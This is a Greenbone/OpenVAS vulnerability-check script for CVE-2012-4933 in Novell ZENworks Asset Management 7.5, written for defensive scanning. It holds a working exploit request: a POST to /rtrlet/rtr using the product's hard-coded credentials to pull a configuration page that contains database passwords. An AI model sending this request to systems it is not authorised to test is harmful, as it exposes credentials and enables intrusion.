Novell ZENWorks Asset Management Information Disclosure Vulnerabilities

# Copyright (C) 2012 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902928");
  script_version("2022-04-27T12:01:52+0000");
  script_cve_id("CVE-2012-4933");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"last_modification", value:"2022-04-27 12:01:52 +0000 (Wed, 27 Apr 2022)");
  script_tag(name:"creation_date", value:"2012-10-26 12:25:31 +0530 (Fri, 26 Oct 2012)");
  script_name("Novell ZENWorks Asset Management Information Disclosure Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/advisories/50967/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55933");
  script_xref(name:"URL", value:"http://securitytracker.com/id?1027682");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/332412");
  script_xref(name:"URL", value:"https://community.rapid7.com/community/metasploit/blog/2012/10/15/cve-2012-4933-novell-zenworks");
  script_xref(name:"URL", value:"http://www.novell.com/products/zenworks/assetmanagement");
  script_xref(name:"URL", value:"http://download.novell.com/Download?buildid=yse-osBjxeo~");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to obtain
  sensitive information via a crafted rtrlet/rtr request for the HandleMaintenanceCalls function.");

  script_tag(name:"affected", value:"Novell ZENworks Asset Management version 7.5");

  script_tag(name:"insight", value:"The 'GetFile_Password()' and 'GetConfigInfo_Password()' method
  within the rtrlet component contains hard coded credentials and can be exploited to gain access
  to the configuration file and download arbitrary files by specifying an absolute path.");

  script_tag(name:"solution", value:"Apply the patch from the referenced vendor link.");

  script_tag(name:"summary", value:"Novell ZENWorks Asset Management is prone to information disclosure vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:8080 );
host = http_host_name( port:port );

data = "kb=&file=&absolute=&maintenance=GetConfigInfo_password&username" +
       "=Ivanhoe&password=Scott&send=Submit";

req = string("POST /rtrlet/rtr HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(data), "\r\n\r\n",
             data);
res = http_keepalive_send_recv(port:port, data:req);

if(res && "Rtrlet Servlet Configuration Parameters" >< res &&
   "DBName" >< res && "DBUser" >< res && "ZENWorks" >< res &&
   "DBPassword" >< res){
  security_message(port:port);
  exit(0);
}

exit(99);